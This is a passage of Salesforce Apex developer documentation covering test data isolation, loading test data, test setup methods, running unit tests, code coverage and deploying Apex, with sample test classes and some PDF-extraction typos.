Whenever possible, you should create test data for each test. You can disable this restriction by annotating your test class or test method
with the IsTest(SeeAllData=true) annotation.
Test code saved using Salesforce API version 23.0 or earlier continues to have access to all data in the organization and its data access
is unchanged.
Data Access Considerations
If a new test method saved using Salesforce API version 24.0 or later calls a method in another class saved using version 23.0 or
earlier, the data access restrictions of the caller are enforced in the called method; that is, the called method wont have access
to organization data because the caller doesnt, even though it was saved in an earlier version.
The IsTest(SeeAllData=true) annotation has no effect when added to Apex code saved using Salesforce API version
23.0 and earlier.
This access restriction to test data applies to all code running in test context. For example, if a test method causes a trigger to
execute and the test cant access organization data, the trigger wont be able to either.
If a test makes a Visualforce request, the executing test stays in test context but runs in a different thread, so test data isolation
is no longer enforced. In this case, the test will be able to access all data in the organization after initiating the Visualforce request.

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Testing Apex

Using the isTest(SeeAllData=true) Annotation

However, if the Visualforce request performs a callback, such as a JavaScript remoting call, any data inserted by the callback
won't be visible to the test.
For Apex saved using Salesforce API version 27.0 and earlier, the VLOOKUP validation rule function always looks up data in the
organization, in addition to test data, when fired by a running Apex test. Starting with version 28.0, the VLOOKUP validation rule
function no longer accesses organization data from a running Apex test and looks up only data created by the test, unless the
test class or method is annotated with IsTest(SeeAllData=true).
There might be some cases where you cant create certain types of data from your test method because of specific limitations.
Here are some examples of such limitations.
Some standard objects arent createable. For more information on these objects, see the Object Reference for Salesforce and
Force.com.
For some sObjects that have fields with unique constraints, inserting duplicate sObject records results in an error. For example,
inserting CollaborationGroup sObjects with the same names results in an error because CollaborationGroup records must
have unique names. This happens whether or not your test is annotated with IsTest(SeeAllData=true).
Records that are created only after related records are committed to the database, like tracked changes in Chatter. Tracked
changes for a record (FeedTrackedChange records) in Chatter feeds aren't available when test methods modify the associated
record. FeedTrackedChange records require the change to the parent record they're associated with to be committed to
the database before they're created. Since test methods don't commit data, they don't result in the creation of
FeedTrackedChange records. Similarly, field history tracking records (such as AccountHistory) can't be created in test methods
because they require other sObject records to be committed first (for example, Account).

Using the isTest(SeeAllData=true) Annotation

Annotate your test class or test method with IsTest(SeeAllData=true) to open up data access to records in your organization.
This example shows how to define a test class with the isTest(SeeAllData=true) annotation. All the test methods in this
class have access to all data in the organization.
// All test methods in this class can access all data.
@isTest(SeeAllData=true)
public class TestDataAccessClass {
// This test accesses an existing account.
// It also creates and accesses a new test account.
static testmethod void myTestMethod1() {
// Query an existing account in the organization.
Account a = [SELECT Id, Name FROM Account WHERE Name='Acme' LIMIT 1];
System.assert(a != null);
// Create a test account based on the queried account.
Account testAccount = a.clone();
testAccount.Name = 'Acme Test';
insert testAccount;
// Query the test account that was inserted.
Account testAccount2 = [SELECT Id, Name FROM Account
WHERE Name='Acme Test' LIMIT 1];
System.assert(testAccount2 != null);
}

// Like the previous method, this test method can also access all data

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// because the containing class is annotated with @isTest(SeeAllData=true).

@isTest static void myTestMethod2() {
// Can access all data in the organization.
}
}

This second example shows how to apply the isTest(SeeAllData=true) annotation on a test method. Because the class that
the test method is contained in isnt defined with this annotation, you have to apply this annotation on the test method to enable access
to all data for that test method. The second test method doesnt have this annotation, so it can access only the data it creates in addition
to objects that are used to manage your organization, such as users.
// This class contains test methods with different data access levels.
@isTest
private class ClassWithDifferentDataAccess {
// Test method that has access to all data.
@isTest(SeeAllData=true)
static void testWithAllDataAccess() {
// Can query all data in the organization.
}
// Test method that has access to only the data it creates
// and organization setup and metadata objects.
@isTest static void testWithOwnDataAccess() {
// This method can still access the User object.
// This query returns the first user object.
User u = [SELECT UserName,Email FROM User LIMIT 1];
System.debug('UserName: ' + u.UserName);
System.debug('Email: ' + u.Email);
// Can access the test account that is created here.
Account a = new Account(Name='Test Account');
insert a;
// Access the account that was just created.
Account insertedAcct = [SELECT Id,Name FROM Account
WHERE Name='Test Account'];
System.assert(insertedAcct != null);
}
}

Considerations for the IsTest(SeeAllData=true) Annotation

If a test class is defined with the isTest(SeeAllData=true) annotation, this annotation applies to all its test methods
whether the test methods are defined with the @isTest annotation or the testmethod keyword.
The isTest(SeeAllData=true) annotation is used to open up data access when applied at the class or method level.
However, using isTest(SeeAllData=false) on a method doesnt restrict organization data access for that method
if the containing class has already been defined with the isTest(SeeAllData=true) annotation. In this case, the
method will still have access to all the data in the organization.

Loading Test Data

Using the Test.loadData method, you can populate data in your test methods without having to write many lines of code.

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Follow these steps:

1. Add the data in a .csv file.
2. Create a static resource for this file.
3. Call Test.loadData within your test method and passing it the sObject type token and the static resource name.
For example, for Account records and a static resource name of myResource, make the following call:
List<sObject> ls = Test.loadData(Account.sObjectType, 'myResource');

The Test.loadData method returns a list of sObjects that correspond to each record inserted.
You must create the static resource prior to calling this method. The static resource is a comma-delimited file ending with a .csv extension.
The file contains field names and values for the test records. The first line of the file must contain the field names and subsequent lines
are the field values. To learn more about static resources, see Defining Static Resources in the Salesforce online help.
Once you create a static resource for your .csv file, the static resource will be assigned a MIME type. Supported MIME types are:
text/csv
application/vnd.ms-excel
application/octet-stream
text/plain

Test.loadData Example
The following are steps for creating a sample .csv file and a static resource, and calling Test.loadData to insert the test records.
1. Create a .csv file that has the data for the test records. This sample .csv file has three account records. You can use this sample content
to create your .csv file.
Name,Website,Phone,BillingStreet,BillingCity,BillingState,BillingPostalCode,BillingCountry
sForceTest1,http://www.sforcetest1.com,(415) 901-7000,The Landmark @ One Market,San
Francisco,CA,94105,US
sForceTest2,http://www.sforcetest2.com,(415) 901-7000,The Landmark @ One Market Suite
300,San Francisco,CA,94105,US
sForceTest3,http://www.sforcetest3.com,(415) 901-7000,1 Market St,San
Francisco,CA,94105,US

2. Create a static resource for the .csv file:

a. From Setup, enter Static Resources in the Quick Find box, then select Static Resources.
b. Click New.
c. Name your static resource testAccounts.
d. Choose the file you created.
e. Click Save.
3. Call Test.loadData in a test method to populate the test accounts.
@isTest
private class DataUtil {
static testmethod void testLoadData() {
// Load the test accounts from the static resource
List<sObject> ls = Test.loadData(Account.sObjectType, 'testAccounts');
// Verify that all 3 test accounts were created

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System.assert(ls.size() == 3);
// Get first test account
Account a1 = (Account)ls[0];
String acctName = a1.Name;
System.debug(acctName);
// Perform some testing using the test records
}
}

Common Test Utility Classes for Test Data Creation

Common test utility classes are public test classes that contain reusable code for test data creation.
Public test utility classes are defined with the isTest annotation, and as such, are excluded from the organization code size limit and
execute in test context. They can be called by test methods but not by non-test code.
The methods in the public test utility class are defined the same way methods are in non-test classes. They can take parameters and can
return a value. The methods should be declared as public or global to be visible to other test classes. These common methods can be
called by any test method in your Apex classes to set up test data before running the test. While you can create public methods for test
data creation in a regular Apex class, without the isTest annotation, you dont get the benefit of excluding this code from the
organization code size limit.
This is an example of a test utility class. It contains one method, createTestRecords, which accepts the number of accounts to
create and the number of contacts per account. The next example shows a test method that calls this method to create some data.
@isTest
public class TestDataFactory {
public static void createTestRecords(Integer numAccts, Integer numContactsPerAcct) {
List<Account> accts = new List<Account>();
for(Integer i=0;i<numAccts;i++) {
Account a = new Account(Name='TestAccount' + i);
accts.add(a);
}
insert accts;
List<Contact> cons = new List<Contact>();
for (Integer j=0;j<numAccts;j++) {
Account acct = accts[j];
// For each account just inserted, add contacts
for (Integer k=numContactsPerAcct*j;k<numContactsPerAcct*(j+1);k++) {
cons.add(new Contact(firstname='Test'+k,
lastname='Test'+k,
AccountId=acct.Id));
}
}
// Insert all contacts for all accounts
insert cons;
}
}

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Using Test Setup Methods

The test method in this class calls the test utility method, createTestRecords, to create five test accounts with three contacts
each.
@isTest
private class MyTestClass {
static testmethod void test1() {
TestDataFactory.createTestRecords(5,3);
// Run some tests
}
}

Using Test Setup Methods

Use test setup methods (methods that are annotated with @testSetup) to create test records once and then access them in every
test method in the test class. Test setup methods can be time-saving when you need to create reference or prerequisite data for all test
methods, or a common set of records that all test methods operate on.
Test setup methods can reduce test execution times especially when youre working with many records. Test setup methods enable
you to create common test data easily and efficiently. By setting up records once for the class, you dont need to re-create records for
each test method. Also, because the rollback of records that are created during test setup happens at the end of the execution of the
entire class, the number of records that are rolled back is reduced. As a result, system resources are used more efficiently compared to
creating those records and having them rolled back for each test method.
If a test class contains a test setup method, the testing framework executes the test setup method first, before any test method in the
class. Records that are created in a test setup method are available to all test methods in the test class and are rolled back at the end of
test class execution. If a test method changes those records, such as record field updates or record deletions, those changes are rolled
back after each test method finishes execution. The next executing test method gets access to the original unmodified state of those
records.

Syntax
Test setup methods are defined in a test class, take no arguments, and return no value. The following is the syntax of a test setup method.
@testSetup static void methodName() {
}

Example
The following example shows how to create test records once and then access them in multiple test methods. Also, the example shows
how changes that are made in the first test method are rolled back and are not available to the second test method.
@isTest
private class CommonTestSetup {
@testSetup static void setup() {
// Create common test accounts
List<Account> testAccts = new List<Account>();
for(Integer i=0;i<2;i++) {
testAccts.add(new Account(Name = 'TestAcct'+i));
}
insert testAccts;
}

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@isTest static void testMethod1() {

// Get the first test account by using a SOQL query
Account acct = [SELECT Id FROM Account WHERE Name='TestAcct0' LIMIT 1];
// Modify first account
acct.Phone = '555-1212';
// This update is local to this test method only.
update acct;
// Delete second account
Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
// This deletion is local to this test method only.
delete acct2;
// Perform some testing
}
@isTest static void testMethod2() {
// The changes made by testMethod1() are rolled back and
// are not visible to this test method.
// Get the first account by using a SOQL query
Account acct = [SELECT Phone FROM Account WHERE Name='TestAcct0' LIMIT 1];
// Verify that test account created by test setup method is unaltered.
System.assertEquals(null, acct.Phone);
// Get the second account by using a SOQL query
Account acct2 = [SELECT Id FROM Account WHERE Name='TestAcct1' LIMIT 1];
// Verify test account created by test setup method is unaltered.
System.assertNotEquals(null, acct2);
// Perform some testing
}
}

Test Setup Method Considerations

Test setup methods are supported only with the default data isolation mode for a test class. If the test class or a test method has
access to organization data by using the @isTest(SeeAllData=true) annotation, test setup methods arent supported in
this class. Because data isolation for tests is available for API versions 24.0 and later, test setup methods are also available for those
versions only.
Multiple test setup methods are allowed in a test class, but the order in which theyre executed by the testing framework isnt
guaranteed.
If a fatal error occurs during the execution of a test setup method, such as an exception thats caused by a DML operation or an
assertion failure, the entire test class fails, and no further tests in the class are executed.
If a test setup method calls a non-test method of another class, no code coverage is calculated for the non-test method.

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Run Unit Test Methods

To verify the functionality of your Apex code, execute unit tests. You can run Apex test methods in the Developer Console, in Setup, in
the Force.com IDE, or using the API.
You can run these groupings of unit tests.
Some or all methods in a specific class
Some or all methods in a set of classes
A predefined suite of classes, known as a test suite
All unit tests in your org
To run a test, use any of the following:
The Salesforce user interface
The Force.com IDE
The Force.com Developer Console
The API
All Apex tests that are started from the Salesforce user interface (including the Developer Console) run asynchronously and in parallel.
Apex test classes are placed in the Apex job queue for execution. The maximum number of test classes that you can run per 24-hour
period is the greater of 500 or 10 multiplied by the number of test classes in the organization. For sandbox and Developer Edition
organizations, this limit is higher and is the greater of 500 or 20 multiplied by the number of test classes in the organization.
Note: Apex tests that run as part of a deployment always run synchronously and serially.

Running Tests Through the Salesforce User Interface

You can run unit tests on the Apex Test Execution page. Tests started on this page run asynchronously, that is, you don't have to wait
for a test class execution to finish. The Apex Test Execution page refreshes the status of a test and displays the results after the test
completes.

1. From Setup, enter Apex Test Execution in the Quick Find box, then select Apex Test Execution.
2. Click Select Tests....
Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking
Compile all classes on the Apex Classes page so that they appear in the list. See Manage Apex Classes.

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3. Select the tests to run. The list of tests includes only classes that contain test methods.
To select tests from an installed managed package, select the managed packages corresponding namespace from the drop-down
list. Only the classes of the managed package with the selected namespace appear in the list.
To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local classes that
aren't from managed packages appear in the list.
To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether or not
they are from a managed package.
Note: Classes with tests currently running don't appear in the list.
4. Click Run.
After you run tests using the Apex Test Execution page, you can view code coverage details in the Developer Console.
From Setup, enter Apex in the Quick Find box, select Apex Test Execution, then click View Test History to view all test results
for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared.

Running Tests Using the Force.com IDE

You can execute tests with the Force.com IDE. See Apex Test Results View in the Force.com IDE Developer Guide.

Running Tests Using the Force.com Developer Console

In the Developer Console, you can execute some or all tests in specific test classes, set up and run test suites, or run all tests. The Developer
Console runs tests asynchronously in the background, unless your test run includes only one class and youve not chosen Always Run
Asynchronously in the Test menu. Running tests asynchronously lets you work in other areas of the Developer Console while tests are
running. Once the tests finish execution, you can inspect the test results in the Developer Console. Also, you can inspect the overall code
coverage for classes covered by the tests.
For more information, see the Developer Console documentation in the Salesforce Help.

Running Tests Using the API

You can use the runTests() call from the SOAP API to run tests synchronously.
RunTestsResult[] runTests(RunTestsRequest ri)

This call allows you to run all tests in all classes, all tests in a specific namespace, or all tests in a subset of classes in a specific namespace,
as specified in the RunTestsRequest object. It returns the following.
Total number of tests that ran
Code coverage statistics
Error information for each failed test
Information for each test that succeeds
Time it took to run the test
For more information on runTests(), see SOAP API and SOAP Headers for Apex on page 2558.
You can also run tests using the Tooling REST API. Use the /runTestsAsynchronous/ and /runTestsSynchronous/
endpoints to run tests asynchronously or synchronously. For usage details, see Force.com Tooling API: REST Resources.

563

The Limits methods return the specific limit for the particular governor, such as the number of calls of a method or the amount of heap
size remaining.
There are two versions of every method: the first returns the amount of the resource that has been used in the current context, while
the second version contains the word limit and returns the total amount of the resource that is available for that context. For example,
getCallouts returns the number of callouts to an external service that have already been processed in the current context, while
getLimitCallouts returns the total number of callouts available in the given context.
In addition to the Limits methods, use the startTest and stopTest methods to validate how close the code is to reaching
governor limits.
The startTest method marks the point in your test code when your test actually begins. Each test method is allowed to call this
method only once. All of the code before this method should be used to initialize variables, populate data structures, and so on, allowing
you to set up everything you need to run your test. Any code that executes after the call to startTest and before stopTest is
assigned a new set of governor limits.
The startTest method does not refresh the context of the test: it adds a context to your test. For example, if your class makes 98
SOQL queries before it calls startTest, and the first significant statement after startTest is a DML statement, the program can
now make an additional 100 queries. Once stopTest is called, however, the program goes back into the original context, and can
only make 2 additional SOQL queries before reaching the limit of 100.
The stopTest method marks the point in your test code when your test ends. Use this method in conjunction with the startTest
method. Each test method is allowed to call this method only once. Any code that executes after the stopTest method is assigned
the original limits that were in effect before startTest was called. All asynchronous calls made after the startTest method are
collected by the system. When stopTest is executed, all asynchronous processes are run synchronously.

Adding SOSL Queries to Unit Tests

To ensure that test methods always behave in a predictable way, any Salesforce Object Search Language (SOSL) query that is added to
an Apex test method returns an empty set of search results when the test method executes. If you do not want the query to return an
empty list of results, you can use the Test.setFixedSearchResults system method to define a list of record IDs that are
returned by the search. All SOSL queries that take place later in the test method return the list of record IDs that were specified by the
Test.setFixedSearchResults method. Additionally, the test method can call Test.setFixedSearchResults
multiple times to define different result sets for different SOSL queries. If you do not call the Test.setFixedSearchResults
method in a test method, or if you call this method without specifying a list of record IDs, any SOSL queries that take place later in the
test method return an empty list of results.
The list of record IDs specified by the Test.setFixedSearchResults method replaces the results that would normally be
returned by the SOSL query if it were not subject to any WHERE or LIMIT clauses. If these clauses exist in the SOSL query, they are
applied to the list of fixed search results. For example:
@isTest
private class SoslFixedResultsTest1 {
public static testMethod void testSoslFixedResults() {
Id [] fixedSearchResults= new Id[1];
fixedSearchResults[0] = '001x0000003G89h';
Test.setFixedSearchResults(fixedSearchResults);
List<List<SObject>> searchList = [FIND 'test'
IN ALL FIELDS RETURNING
Account(id, name WHERE name = 'test' LIMIT
1)];

//Set up user
User u1 = [SELECT Id FROM User WHERE Alias='auser'];
//Run As U1
System.RunAs(u1){

System.debug('Inserting 300

miles... (single record validation)');

Mileagec testMiles1 = new Mileagec(Milesc = 300, Datec = System.today());

insert testMiles1;
//Validate single insert
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(singletotalMiles, totalMiles);

//Bulk validation
totalMiles = 0;
System.debug('Inserting 200 mileage records... (bulk validation)');
List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(integer i=0; i<200; i++) {
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u1.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(maxtotalMiles, totalMiles);
}//end RunAs(u1)

//Validate additional user:

totalMiles = 0;
//Setup RunAs
User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2){

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Testing Example

Mileagec testMiles3 = new Mileagec(Milesc = 100, Datec = System.today());

insert testMiles3;
for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u2.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}
//Validate
System.assertEquals(u2Miles, totalMiles);
} //System.RunAs(u2)

} // runPositiveTestCases()
static testMethod void runNegativeTestCases() {
User u3 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u3){
System.debug('Inserting a record with 501 miles... (negative test case)');
Mileage__c testMiles3 = new Mileage__c( Miles__c = 501, Date__c = System.today()
);
try {
insert testMiles3;
} catch (DmlException e) {
//Assert Error Message
System.assert( e.getMessage().contains('Insert failed. First exception on ' +
'row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, ' +
'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage() );
//Assert field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
//Assert Status Code
System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION' ,
e.getDmlStatusCode(0) );
} //catch
} //RunAs(u3)
} // runNegativeTestCases()

} // class MileageTrackerTestSuite

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Testing Example

Positive Test Case

The following steps through the above code, in particular, the positive test case for single and multiple records.
1. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 300 more miles...single record validation');

2. Create a Mileage__c object and insert it into the database.

Mileage__c testMiles1 = new Mileage__c(Miles__c = 300, Date__c = System.today() );
insert testMiles1;

3. Validate the code by returning the inserted records:

for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :createdbyId
and miles__c != null]) {
totalMiles += m.miles__c;
}

4. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(singletotalMiles, totalMiles);

5. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;

6. Validate the code by creating a bulk insert of 200 records.

First, add text to the debug log, indicating the next step of the code:
System.debug('Inserting 200 Mileage records...bulk validation');

7. Then insert 200 Mileage__c records:

List<Mileage__c> testMiles2 = new List<Mileage__c>();
for(Integer i=0; i<200; i++){
testMiles2.add( new Mileage__c(Miles__c = 1, Date__c = System.today()) );
}
insert testMiles2;

8. Use System.assertEquals to verify that the expected result is returned:

for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :CreatedbyId
and miles__c != null]) {
totalMiles += m.miles__c;
}
System.assertEquals(maxtotalMiles, totalMiles);

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Testing Example

Negative Test Case

The following steps through the above code, in particular, the negative test case.
1. Create a static test method called runNegativeTestCases:
static testMethod void runNegativeTestCases(){

2. Add text to the debug log, indicating the next step of the code:
System.debug('Inserting 501 miles... negative test case');

3. Create a Mileage__c record with 501 miles.

Mileage__c testMiles3 = new Mileage__c(Miles__c = 501, Date__c = System.today());

4. Place the insert statement within a try/catch block. This allows you to catch the validation exception and assert the generated
error message.
try {
insert testMiles3;
} catch (DmlException e) {

5. Now use the System.assert and System.assertEquals to do the testing. Add the following code to the catch
block you previously created:
//Assert Error Message
System.assert(e.getMessage().contains('Insert failed. First exception '+
'on row 0; first error: FIELD_CUSTOM_VALIDATION_EXCEPTION, '+
'Mileage request exceeds daily limit(500): [Miles__c]'),
e.getMessage());
//Assert Field
System.assertEquals(Mileage__c.Miles__c, e.getDmlFields(0)[0]);
//Assert Status Code
System.assertEquals('FIELD_CUSTOM_VALIDATION_EXCEPTION'
e.getDmlStatusCode(0));
}
}
}

Testing as a Second User

The following steps through the above code, in particular, running as a second user.
1. Before moving to the next test, set the number of total miles back to 0:
totalMiles = 0;

2. Set up the next user.

User u2 = [SELECT Id FROM User WHERE Alias='tuser'];
System.RunAs(u2){

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Testing and Code Coverage

3. Add text to the debug log, indicating the next step of the code:
System.debug('Setting up testing - deleting any mileage records for ' +
UserInfo.getUserName() +
' from today');

4. Then insert one Mileage__c record:

Mileage__c testMiles3 = new Mileage__c(Miles__c = 100, Date__c = System.today());
insert testMiles3;

5. Validate the code by returning the inserted records:

for(Mileage__c m:[SELECT miles__c FROM Mileage__c
WHERE CreatedDate = TODAY
and CreatedById = :u2.Id
and miles__c != null]) {
totalMiles += m.miles__c;
}

6. Use the system.assertEquals method to verify that the expected result is returned:
System.assertEquals(u2Miles, totalMiles);

Testing and Code Coverage

The Apex testing framework generates code coverage numbers for your Apex classes and triggers every time you run one or more tests.
Code coverage indicates how many executable lines of code in your classes and triggers have been exercised by test methods. Write
test methods to test your triggers and classes, and then run those tests to generate code coverage information.
Apex Trigger and Class Covered by Test Methods

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Testing and Code Coverage

In addition to ensuring the quality of your code, unit tests enable you to meet the code coverage requirements for deploying or packaging
Apex. To deploy Apex or package it for the Force.com AppExchange, unit tests must cover at least 75% of your Apex code, and those
tests must pass.
Code coverage serves as one indication of test effectiveness, but doesnt guarantee test effectiveness. The quality of the tests also matters,
but you can use code coverage as a tool to assess whether you need to add more tests. While you need to meet minimum code coverage
requirements for deploying or packaging your Apex code, code coverage shouldnt be the only goal of your tests. Tests should assert
your apps behavior and ensure the quality of your code.

How Is Code Coverage Calculated?

Code coverage percentage is a calculation of the number of covered lines divided by the sum of the number of covered lines and
uncovered lines. Only executable lines of code are included. (Comments and blank lines arent counted.) System.debug() statements
and curly brackets are excluded when they appear alone on one line. Multiple statements on one line are counted as one line for the
purpose of code coverage. If a statement consists of multiple expressions that are written on multiple lines, each line is counted for code
coverage.
The following is an example of a class with one method. The tests for this class have been run, and the option to show code coverage
was chosen for this class in the Developer Console. The blue lines represent the lines that are covered by tests. The lines that arent
highlighted are left out of the code coverage calculation. The red lines show the lines that werent covered by tests. To achieve full
coverage, more tests are needed. The tests must call getTaskPriority() with different inputs and verify the returned value.
This is the class that is partially covered by test methods. The corresponding test class isnt shown.

Test classes (classes that are annotated with @isTest) are excluded from the code coverage calculation. This exclusion applies to all
test classes regardless of what they containtest methods or utility methods used for testing.
Note: The Apex compiler sometimes optimizes expressions in a statement. For example, if multiple string constants are concatenated
with the + operator, the compiler replaces those expressions with one string constant internally. If the string concatenation
expressions are on separate lines, the additional lines arent counted as part of the code coverage calculation after optimization.

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To illustrate this point, a string variable is assigned to two string constants that are concatenated. The second string constant is
on a separate line.
String s = 'Hello'
+ ' World!';

The compiler optimizes the string concatenation and represents the string as one string constant internally. The second line in
this example is ignored for code coverage.
String s = 'Hello World!';

Inspecting Code Coverage

After running tests, you can view code coverage information in the Tests tab of the Developer Console. The code coverage pane includes
coverage information for each Apex class and the overall coverage for all Apex code in your organization.
Also, code coverage is stored in two Force.com Tooling API objects: ApexCodeCoverageAggregate and ApexCodeCoverage.
ApexCodeCoverageAggregate stores the sum of covered lines for a class after checking all test methods that test it. ApexCodeCoverage
stores the lines that are covered and uncovered by each individual test method. For this reason, a class can have multiple coverage
results in ApexCodeCoverageone for each test method that has tested it. You can query these objects by using SOQL and the Tooling
API to retrieve coverage information. Using SOQL queries with Tooling API is an alternative way of checking code coverage and a quick
way to get more details.
For example, this SOQL query gets the code coverage for the TaskUtil class. The coverage is aggregated from all test classes that
exercised the methods in this class.
SELECT ApexClassOrTrigger.Name, NumLinesCovered, NumLinesUncovered
FROM ApexCodeCoverageAggregate
WHERE ApexClassOrTrigger.Name = 'TaskUtil'

Note: This SOQL query requires the Tooling API. You can run this query by using the Query Editor in the Developer Console and
checking Use Tooling API.
Heres a sample query result for a class thats partially covered by tests:
ApexClassOrTrigger.Name

NumLinesCovered

NumLinesUncovered

TaskUtil

This next example shows how you can determine which test methods covered the class. The query gets coverage information from a
different object, ApexCodeCoverage, which stores coverage information by test class and method.
SELECT ApexTestClass.Name,TestMethodName,NumLinesCovered,NumLinesUncovered
FROM ApexCodeCoverage
WHERE ApexClassOrTrigger.Name = 'TaskUtil'

Heres a sample query result.

ApexTestClass.Name

TestMethodName

NumLinesCovered

NumLinesUncovered

TaskUtilTest

testTaskPriority

TaskUtilTest

testTaskHighPriority

576

Managed Package Tests

Code coverage that is computed after you run all Apex tests in the user interface, such as the Developer Console, can differ from
code coverage obtained in a deployment. If you run all tests, including managed package tests, in the user interface, the overall
code coverage in your organization doesnt include coverage for managed package code. Although managed package tests cover
lines of code in managed packages, this coverage is not part of the organizations code coverage calculation as total lines and covered
lines. In contrast, the code coverage computed in a deployment after running all tests through the RunAllTestsInOrg test
level includes coverage of managed package code. If you are running managed package tests in a deployment through the
RunAllTestsInOrg test level, we recommend that you run this deployment in a sandbox first or perform a validation deployment
to verify code coverage.
Deployment Resulting in Overall Coverage Lower Than 75%
When deploying new components that have 100% coverage to production, the deployment fails if the average coverage between
the new and existing code doesnt meet the 75% threshold. If a test run in the destination organization returns a coverage result of
less than 75%, modify the existing test methods or write additional test methods to raise the code coverage over 75%. Deploy the
modified or new test methods separately or with your new code that has 100% coverage.
Code Coverage in Production Dropping Below 75%
Sometimes the overall coverage in production drops below 75%, even though it was at least 75% when the components were
deployed from sandbox. Test methods that have dependencies on the organizations data and metadata can cause a drop in code
coverage. If the data and metadata have changed sufficiently to alter the result of dependent test methods, some methods can fail
or behave differently. In that case, certain lines are no longer covered.

Recommended Process for Matching Code Coverage Numbers for

Production
Use a Full Sandbox as the staging sandbox environment for production deployments. A Full Sandbox mimics the metadata and data
in production and helps reduce differences in code coverage numbers between the two environments.
To reduce dependecies on data in sandbox and production organizations, use test data in your Apex tests.
If a deployment to production fails due to insufficient code coverage, write more tests to raise the overall code coverage to the
highest possible coverage or 100%. Retry the deployment.
If a deployment to production fails even after you raise code coverage numbers in sandbox, run local tests from your production
organization. Identify the classes with less than 75% coverage. Write additional tests for these classes in sandbox to raise the code
coverage.

578

CHAPTER 14 Deploying Apex

In this chapter ...

Using Change Sets

To Deploy Apex

Using the Force.com

IDE to Deploy Apex

You can't develop Apex in your Salesforce production org. Live users accessing the system while you're
developing can destabilize your data or corrupt your application. Instead, do all your development work
in either a sandbox or a Developer Edition org.
You can deploy Apex using:
Change Sets

Using the Force.com

Migration Tool

the Force.com IDE

Using SOAP API to

Deploy Apex

SOAP API

the Force.com Migration Tool

Any deployment of Apex is limited to 5,000 code units of classes and triggers.

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Using Change Sets To Deploy Apex

You can deploy Apex classes and triggers between connected organizations, for example, from a
sandbox organization to your production organization. You can create an outbound change set in
the Salesforce user interface and add the Apex components that you would like to upload and
deploy to the target organization. To learn more about change sets, see Change Sets in the
Salesforce online help.

Using the Force.com IDE to Deploy Apex

EDITIONS
Available in: Salesforce
Classic
Available in Enterprise,
Performance, Unlimited,
and Database.com Editions

The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface
for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate
Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool includes
basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display.
Note: The Force.com IDE is a free resource provided by Salesforce to support its users and partners but isn't considered part of
our services for purposes of the Salesforce Master Subscription Agreement.
To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Deploy to Server wizard.
Note: If you deploy to a production organization:
At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully.
Note the following.
When deploying Apex to a production organization, each unit test in your organization namespace is executed by default.
Calls to System.debug are not counted as part of Apex code coverage.
Test methods and test classes are not counted as part of Apex code coverage.
While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is
covered. Instead, you should make sure that every use case of your application is covered, including positive and negative
cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests.
Every trigger must have some test coverage.
All classes and triggers must compile successfully.
For more information on how to use the Deploy to Server wizard, see Deploying Code with the Force.com IDE in the Force.com IDE
documentation, which is available within Eclipse.

Using the Force.com Migration Tool

In addition to the Force.com IDE, you can also use a script to deploy Apex.
Download the Force.com Migration Tool if you want to perform a file-based deployment of metadata changes and Apex classes from
a Developer Edition or sandbox organization to a production organization using Apache's Ant build tool.
Note: The Force.com Migration Tool is a free resource provided by Salesforce to support its users and partners but isn't considered
part of our services for purposes of the Salesforce Master Subscription Agreement.
To use the Force.com Migration Tool, do the following:
1. Visit http://www.oracle.com/technetwork/java/javase/downloads/index.html and install the Java JDK.

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Deploying Apex

Using the Force.com Migration Tool

Note: For enhanced security, we recommend Java 7 or later and a recent version of the Force.com Migration Tool (version
36.0 or later). Starting with version 36.0, the Force.com Migration Tool uses TLS 1.2 for secure communications with Salesforce
if it detects Java version 7 (1.7). The tool explicitly enables TLS 1.1 and 1.2 for Java 7. If youre using Java 8 (1.8), TLS 1.2 is used.
For Java version 6, TLS 1.0 is used. However, Salesforce plans to discontinue TLS 1.0 support on this timeline.
Alternatively, if youre using Java 7, instead of upgrading your Force.com Migration Tool to version 36.0 or later, you can add
the following to your ANT_OPTS environment variable:
-Dhttps.protocols=TLSv1.1,TLSv1.2

This setting also enforces TLS 1.1 and 1.2 for any other Ant tools on your local system.
2. Visit http://ant.apache.org/ and install Apache Ant, Version 1.6 or later, on the deployment machine.
3. Set up the environment variables (such as ANT_HOME, JAVA_HOME, and PATH) as specified in the Ant Installation Guide at
